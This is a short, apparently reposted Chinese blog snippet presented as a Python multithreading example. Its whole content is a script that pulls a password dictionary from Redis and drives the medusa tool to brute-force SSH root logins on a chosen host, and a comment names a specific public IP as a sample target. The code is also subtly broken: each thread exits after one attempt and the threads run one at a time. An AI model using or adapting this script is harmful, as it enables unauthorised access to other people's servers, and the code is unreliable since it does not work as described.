python 多執行緒List

標籤：python 多執行緒list

# -*- coding:UTF-8 -*-#

"""

根據Redis的密碼字典，暴力破解

"""

import redis

import sys,os

import threading

BIN="/usr/local/bin/medusa"

#medusa -u root -p 123456 -h 111.207.22.72 -M ssh

def threadTask(plist,threadnum):

    for xval in plist:

        print "Thread-%s:%s" % (threadnum,xval)

        CMD=BIN+" -u "+User+‘ -p "‘+xval+‘" -h ‘+Host+‘ -M ssh‘

        os.system(CMD)#開始爆破

        sys.exit(0)

        

if __name__==‘__main__‘:

    global Host,User

    numThread=10 #預設10個線程

    Rkey=‘None‘

    Host=‘None‘

    User=‘root‘

    if not sys.argv[1:]:

        print "Usage  python %s [OPTIONS]" % sys.argv[0]

        print "Options are:"

        print "-n,  -number  Number of threads,default:10"

        print "-k,  -key  Redis‘s key"

        print "-u,  -user  system‘s needed to crack,default:root"

        print "-h,  -host  server ip"

        sys.exit(0)

    i=1

    while (i<len(sys.argv)):

        arg=sys.argv[i]

        if arg==‘-n‘ or arg==‘-number‘:

            i+=1

            numThread=sys.argv[i]

        elif arg==‘-k‘ or arg==‘-key‘:

            i+=1

            Rkey=sys.argv[i]

        elif arg==‘-u‘ or arg==‘-user‘:

            i+=1

            User=sys.argv[i]

        elif arg==‘-h‘ or arg==‘-host‘:

            i+=1

            Host=sys.argv[i]

        else:

            pass

        i+=1

    if Rkey==‘None‘:

        print "Please input key value!"

        sys.exit(0)

    if Host==‘None‘:

        print "Please input Host IP!"

        sys.exit(0)

    

       

    rds = redis.Redis(host=‘localhost‘,port=6379,db=0)

    pList=rds.lrange(Rkey,0,-1)#密碼字典

    

    totalNum = len(pList) #密碼總數量

    for threadNum in xrange(numThread):

        #每個線程處理的密碼數量

        dealNum=totalNum/numThread

        #最後一個線程處理剩餘部分

        leftNum=totalNum%numThread

        

        if threadNum!=(numThread-1):

            #執行個體化線程

            t=threading.Thread(target=threadTask,args=(pList[threadNum*dealNum:threadNum*dealNum+dealNum],threadNum))

            t.start()#啟動線程

            t.join()#等待線程結束後主進程退出

        else:

            t=threading.Thread(target=threadTask,args=(pList[threadNum*dealNum:threadNum*dealNum+leftNum],threadNum))

            t.start()#啟動線程

            t.join()#等待線程結束後主進程退出

            

python 多執行緒List